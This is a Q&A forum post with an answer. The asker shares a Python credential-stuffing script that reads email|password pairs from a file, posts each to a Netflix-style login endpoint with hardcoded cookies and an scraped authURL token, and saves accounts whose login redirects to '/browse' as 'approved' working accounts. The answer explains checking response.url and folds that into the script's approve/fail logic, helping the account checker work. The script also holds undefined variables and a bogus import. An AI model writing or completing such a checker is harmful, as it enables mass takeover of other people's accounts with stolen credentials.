Check url after request

Asked

Viewed 332 times

2

How do I make my code check which url/link is in ?

My code:

import requests as r
from bs4 import BeautifulSoup as bs
import time
import os
clear = lambda: os.system('cls')

clientes1 = 0
clientes2 = 0

ok = []

req = r.get('https://www.netflix.com/pt/login')

from bs4 import BeautifulSoup as bs

soup = bs(req.text, 'html.parser')
inp = soup.find('input', {'name': 'authURL'})
val_inp = inp.get('value')

# print(val_inp)
# ja temos o value continuar o programa

import requests
import urlopen

outfile = open('working.txt', 'w')


with open('file.txt', 'r') as fd:
    for linha in fd.readlines():
        url = "https://www.minhaapi.com/br/login"
        user, pwd = linha.strip().split('|')
        payload = "email={}&password={}&rememberMe=true&flow=websiteSignUp&mode=login&action=loginAction&withFields=password%2CrememberMe%2CnextPage%2CshowPassword%2Cemail&authURL={}&nextPage=&showPassword=".format(cliente, senha, val_inp)
        headers = {
    'Content-Type': "application/x-www-form-urlencoded",
    'Cookie': "memclid=ac9337e7-d1b6-4a2a-892a-4fdec461b800; nfvdid=BQFmAAEBEENmSgfTqlMR4xm54sYpg7FAyCxQRwWcdkUlNAZiEfoL9RNqJlVXVdT6V0vlyUYWSUBRusx%2FYIoCLsSK07hjM3dReyepk3PmPgZ75iOlrsYc8w%3D%3D; SecureNetflixId=v%3D2%26mac%3DAQEAEQABABSBgobavZhMR5LrGnqZfIJCG9jsELk2Gn0.%26dt%3D1526638030278; NetflixId=ct%3DBQAOAAEBEOHScIfh4cq3bAZ7wr5bXg2B0MdgxT1O3DY7jFvrByvL__gszt3MVIfTilAZ1HrLFLiVnpue8rdRHCO30VAR1emu9Wv0mr3Q4E32UjS0nG7_UfnWbz4WE7g4URMSUcOKyYTUuOc3gOiDPyYK6BYXjMLPZHdgQwWF_0mVLyRmIExpAcbSeRlQr2c1SqfCV-2sqpk9xSa-EOoU9zPYHp1rPBUYUtMxnL1CLuN9dfTxnvARvq_oHdeq4T6iL5gKv1MecXDeMr-XhSHQUgNY9WqPb5Lrhg8lg_vba2ANlTKpUB177KSEiGVdHIt96nq4AoAsOCl9GtkGfo57c5fqWxAUIKhPej05_qEnkBkySaeCZbLqJlajWijmqcejTrznczabXZKS5a79qeqBwrbWhOLYdvejKutr-nLaWxXLLz1yieFMc2RHufOySe1Z2tQ2iFKFoVCz5TtYx7utl6gtYhoj-OqUctl8vdXtqf7Yg2EREB1mMqOv5akO7JDOgvM8sowelcDh6x2ecmxq4tsSeW2o1l3ChO-O2xacNnl_Ty5RBTxx7xr2Az2rklNwKmjqlQI53cVJr7OC1YJgWS9MiZEJJfW2NM2lNbi6quVb8rb6NXXqg8E7DZ9x_yRa3mijngX9Lilt%26bt%3Ddbl%26ch%3DAQEAEAABABSbFzfyHhHXOr5WQ5IwC8-y2xC3za2AkdI.%26v%3D2%26mac%3DAQEAEAABABQln7S8hxML-vdA_yIdMMg-VcMWYLnQtHM.; cL=1526639856538%7C152659120373980300%7C152661253127908481%7C%7C31%7C6NWEY45IQBGDLJBVP2ULXKWTUA"
    }
        response = requests.request("POST", url, data=payload, headers=headers)
        if response.geturl()=='http://www.minhaapi.com/browse':
            formatado = 'Aprovada > {} | {}'.format(cliente, senha)
            print (formatado)
            clientes1 = clientes1 + 1
            ok.append(cliente+":"+senha)
            url = ("http://www.minhaapi.com/SignOut?lnkctr=mL")
            response = requests.request("POST", url, data=payload, headers=headers)
            time.sleep(2)
        else:
            formatado = 'Reprovada > {} | {}'.format(user, pwd)
            print (formatado)
            clientes2 = clientes2 + 1
            time.sleep(2)



clear()                        
print ('Salvando clientes ...')
for all in ok:
        print (all)
        outfile.write(str(all)+'\n')
        clear()
print ('Você teve:', str(workcount), 'contas ok')
print ('Você teve:', str(deadcount), 'contas não ativadas')

I tried to use this code but was unsuccessful:

if response.geturl()=='http://www.minhaapi.com/browse':

I just need the script, after doing the "Curl/request" (as you prefer to call it) it check the URL, if it is on this link "http://www.minhaapi.com/browse", it print "Approved" on the screen. If it is on another different link, it print "Failed" on the screen.

1 answer

2


In order to see which url of the last request you made (taking into account that we will follow the redirects), you do:

...
response.url # ultimo request feito, destino do ultimo redirecionamento
...

DOCS

Testing:

import requests as r

req = r.get('http://httpbin.org/redirect/2')
print(req.history) # [<Response [302]>, <Response [302]>]
print(req.url) # http://httpbin.org/get

DEMONSTRATION

In your case you can adapt to:

...
if response.url == 'http://www.minhaapi.com/browse':
    print('Aprovada')
    ...
else:
    print('Reprovada')
    ...

Browser other questions tagged

You are not signed in. Login or sign up in order to post.